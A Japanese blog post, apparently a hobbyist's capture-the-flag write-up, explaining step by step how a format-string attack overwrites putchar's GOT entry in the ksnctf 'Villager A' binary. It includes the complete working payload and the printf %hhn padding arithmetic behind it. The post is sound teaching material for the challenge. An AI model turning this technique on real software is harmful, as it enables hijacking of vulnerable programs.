Villager Aが解けた
この記事は、ksnctfのVillager Aの解法について言及しています。見たくないという方は、ここでお引取りください。 また、私はセキュリティに関しては全くのど素人です。内容の正確性は慎重に検証したつもりですが、間違っていることもあるかと思いますのでご承知おきください。
かねてより、pwnあるいはexploitというものに興味があり、何度かVillager Aに挑戦したりしていたのですが、writeup等を見てみても解法をよく理解できないでいました。今回、SecHack365でご一緒させて頂いているはっぴーのーとさんに色々ご教授いただくことが出来、解法がよく分かってきたのでせっかくなので記事としてアウトプットしておきたいと思った次第です。
私が分からなかった点
私が分からなかったのは、主にFormat String Attackの組み立ての部分です。Villager Aの場合、GOTを書き換えて任意のアドレスにジャンプしたいわけですが、これをやればexploitできるということは分かったものの、その手段はよく分からなかったのです。
解法
最初に、解法を載せておきます。
echo -e '\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn' | ./q4
これでexploit出来るわけですが、この文字列でどうしてGOTを書き換えられるのかが分からなかったのです。
printf()のフォーマット指定子
printf()には%nというフォーマット指定子があります。これは、いままで出力した文字列のバイト数を、引数に格納するという指定子です。試しに使ってみました。
#include <stdio.h> int main() { int *hoge; printf("hogehoge%n\n", &hoge); printf("%d\n", hoge); return 0; }
これで、hogeが指すメモリ領域に8が入っているはずです。
もちろん*hogeにアドレスを代入してやれば任意のアドレスのメモリ領域に保存することができます(ただし、そのアドレスのメモリ領域が書き込み可能かどうか等は不明)。
ちなみに、%nの前にhをつけてやることで書き込み先のアドレスを何バイトの領域として扱うか操作出来るようです。
指定子 | 書き込まれ方 |
---|---|
%n | アドレスを4バイト領域としてみなし、書き込む |
%hn | アドレスを2バイト領域としてみなし、書き込む |
%hhn | アドレスを1バイト領域としてみなし、書き込む |
%nで一気に書き込むこともできますが、そうすると出力しなくてはならないバイト数が膨大になってしまうことがよくあるので、この手のexploitでは%hhnをよく使うようです。
例えば、0x12345678というアドレスを%nでつくるためには、0x12345678バイト出力しなくてはいけないのでとても膨大ですが、%hhnで4回に分けてしまえば0x78と0x56と0x34と0x12の計0x114バイト出力するだけで済みます。
また、$(ダイレクトパラメータ)というものを使うと、使いたい引数を番号で指定できるようです。
3番目の引数を使いたいなら以下の通りです。
printf("%3$d", 10, 20, 30, 40, 50); // 30
FSAの組み立て
ここまで分かれば、あとは組み立ててみるだけでした。 まずは、printf()で書き込んだ文字列がスタックのどの位置に保存されるか把握しておく必要があるので、q4に対して以下を入力してみます。
echo -e "yuki,%x,%x,%x,%x,%x,%x,%x" | ./q4
What's your name? Hi, yuki,400,4108c0,8,14,ed3fc4,696b7579,2c78252c,252c7825 Do you want the flag?
「yuki」のASCIIコードを16進数に変換すると「0x79756b69」ですね。リトルエンディアンであることに気をつけながら見ていくと、6番目にあることが分かります。
|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x696b7579| ←arg6(printf()へ入力した文字列はここから入る)
|0x2c78252c| ←arg7
|0x252c7825| ←arg8
|....................|
この情報と、さっきのダイレクトパラメータを組み合わせて使うことができそうですね!
では、次に書き換え先、書き換える対象を確認しておきましょう。 q4をディスアセンブルしてみましょう
objdump -d q4 | less
以下、main関数部分です。
080485b4 <main>: 80485b4: 55 push %ebp 80485b5: 89 e5 mov %esp,%ebp 80485b7: 83 e4 f0 and $0xfffffff0,%esp 80485ba: 81 ec 20 04 00 00 sub $0x420,%esp 80485c0: c7 04 24 a4 87 04 08 movl $0x80487a4,(%esp) 80485c7: e8 f8 fe ff ff call 80484c4 <puts@plt> 80485cc: a1 04 9a 04 08 mov 0x8049a04,%eax 80485d1: 89 44 24 08 mov %eax,0x8(%esp) 80485d5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80485dc: 00 80485dd: 8d 44 24 18 lea 0x18(%esp),%eax 80485e1: 89 04 24 mov %eax,(%esp) 80485e4: e8 9b fe ff ff call 8048484 <fgets@plt> 80485e9: c7 04 24 b6 87 04 08 movl $0x80487b6,(%esp) 80485f0: e8 bf fe ff ff call 80484b4 <printf@plt> 80485f5: 8d 44 24 18 lea 0x18(%esp),%eax 80485f9: 89 04 24 mov %eax,(%esp) 80485fc: e8 b3 fe ff ff call 80484b4 <printf@plt> 8048601: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 8048608: e8 67 fe ff ff call 8048474 <putchar@plt> 804860d: c7 84 24 18 04 00 00 movl $0x1,0x418(%esp) 8048614: 01 00 00 00 8048618: eb 67 jmp 8048681 <main+0xcd> 804861a: c7 04 24 bb 87 04 08 movl $0x80487bb,(%esp) 8048621: e8 9e fe ff ff call 80484c4 <puts@plt> 8048626: a1 04 9a 04 08 mov 0x8049a04,%eax 804862b: 89 44 24 08 mov %eax,0x8(%esp) 804862f: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 8048636: 00 8048637: 8d 44 24 18 lea 0x18(%esp),%eax 804863b: 89 04 24 mov %eax,(%esp) 804863e: e8 41 fe ff ff call 8048484 <fgets@plt> 8048643: 85 c0 test %eax,%eax 8048645: 0f 94 c0 sete %al 8048648: 84 c0 test %al,%al 804864a: 74 0a je 8048656 <main+0xa2> 804864c: b8 00 00 00 00 mov $0x0,%eax 8048651: e9 86 00 00 00 jmp 80486dc <main+0x128> 8048656: c7 44 24 04 d1 87 04 movl $0x80487d1,0x4(%esp) 804865d: 08 804865e: 8d 44 24 18 lea 0x18(%esp),%eax 8048662: 89 04 24 mov %eax,(%esp) 8048665: e8 7a fe ff ff call 80484e4 <strcmp@plt> 804866a: 85 c0 test %eax,%eax 804866c: 75 13 jne 8048681 <main+0xcd> 804866e: c7 04 24 d5 87 04 08 movl $0x80487d5,(%esp) 8048675: e8 4a fe ff ff call 80484c4 <puts@plt> 804867a: b8 00 00 00 00 mov $0x0,%eax 804867f: eb 5b jmp 80486dc <main+0x128> 8048681: 8b 84 24 18 04 00 00 mov 0x418(%esp),%eax ;<main+0xcd> 8048688: 85 c0 test %eax,%eax 804868a: 0f 95 c0 setne %al 804868d: 84 c0 test %al,%al 804868f: 75 89 jne 804861a <main+0x66> 8048691: c7 44 24 04 e6 87 04 movl $0x80487e6,0x4(%esp) 8048698: 08 8048699: c7 04 24 e8 87 04 08 movl $0x80487e8,(%esp) 80486a0: e8 ff fd ff ff call 80484a4 <fopen@plt> 80486a5: 89 84 24 1c 04 00 00 mov %eax,0x41c(%esp) 80486ac: 8b 84 24 1c 04 00 00 mov 0x41c(%esp),%eax 80486b3: 89 44 24 08 mov %eax,0x8(%esp) 80486b7: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp) 80486be: 00 80486bf: 8d 44 24 18 lea 0x18(%esp),%eax 80486c3: 89 04 24 mov %eax,(%esp) 80486c6: e8 b9 fd ff ff call 8048484 <fgets@plt> 80486cb: 8d 44 24 18 lea 0x18(%esp),%eax 80486cf: 89 04 24 mov %eax,(%esp) 80486d2: e8 dd fd ff ff call 80484b4 <printf@plt> 80486d7: b8 00 00 00 00 mov $0x0,%eax 80486dc: c9 leave 80486dd: c3 ret 80486de: 90 nop 80486df: 90 nop
0x08048691あたりにジャンプすれば良さそうですね。
そして他の解法記事に習って、putchar()のGOT領域を上書きをしたいのでどこのアドレスを書きえればいいか調べてみます。 main関数内で、呼び出されている<putchar@plt>をディスアセンブルをしたものが以下です。
08048474 <putchar@plt>: 8048474: ff 25 e0 99 04 08 jmp *0x80499e0 804847a: 68 08 00 00 00 push $0x8 804847f: e9 d0 ff ff ff jmp 8048454 <_init+0x30>
ということで、0x080499e0を書き換えてしまえば良さそうです。
つまり、0x080499e0に0x08048691を埋め込めばいいのです。
ということで、まずは\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08という文字列を流し込んでみます。
|....................|
|0x00000400| ←arg1
|0x004108c0| ←arg2
|0x00000008| ←arg3
|0x00000014| ←arg4
|0x00ed3fc4 | ←arg5
|0x080499e0| ←arg6(printf()へ入力した文字列はここから入る)
|0x080499e1| ←arg7
|0x080499e2| ←arg8
|0x080499e3| ←arg9
|....................|
すると、上のようになりますね。ということで、あとは適切なバイト数を出力した後に%hhnでarg6, arg7, arg8, arg9を指定してやればそのアドレスに書き込まれることが分かります。
適切なバイト数の出力の仕方ですが、%x等の出力子に数字をつけてやればいい感じにパディングできるのでそれを使います。
結局書き込みたい値と書き込み先アドレスは、以下のとおりです。
書き込み先アドレス | 書き込みたい値 |
---|---|
0x080499e0 | 0x91 |
0x080499e1 | 0x86 |
0x080499e2 | 0x04 |
0x080499e3 | 0x08 |
ここで一旦、以下のプログラムを見てください。
#include <stdio.h> int main() { char *hoge; printf("%256x%1$n\n", &hoge); printf("%hhx\n", hoge); return 0; }
二個目のprintf()の出力はいくつになるでしょうか。正解は、0です。まあ、当然ですよね。実はこれが、先程のパディングに使えます。
例えば、出力したい数が0x10だとしましょう。しかし、すでに0x12バイト出力されているとします。このとき、0xffまで出力してしまってから、0x11を出力し%hhnを呼べば0x10を出力することが出来ます。
ではいよいよ本命のFSAの組み立てをしていきましょう。
ここまでで既に4byte * 4 = 16byte出力していますね。で、次に出力したいのは0x91 = 145です。素直に引き算しちゃいましょう。145 - 16 = 129
%129x%6$hhn
次に出力したいのは0x86 = 134ですね。オーバーしちゃいましたので、先程紹介したテクニックをつかって。256 - 145 + 134 = 245
%245x%7$hhn
あとはやるだけです。0x04 = 4。256 - 134 + 4 = 126
%126x%8$hhn
最後。0x08 = 8。8 - 4 = 4
%4x%9$hhn
これで完成。
\xe0\x99\x04\x08\xe1\x99\x04\x08\xe2\x99\x04\x08\xe3\x99\x04\x08%129x%6$hhn%245x%7$hhn%126x%8$hhn%4x%9$hhn
やっとできたーー!!!このやりがい、たまらないですね。教えてくださったはっぴーのーとさん、本当にありがとうございました!
おわりに
雑多な文章で申し訳ありませんが、私がVillager Aを解いたときの心境などをそのまま書き込んだつもりです。 僕のようにVillager Aで苦しんでいる方のご参考になれば嬉しいです!
また、本文中に間違いや質問したいこと等があればお気軽にご連絡ください。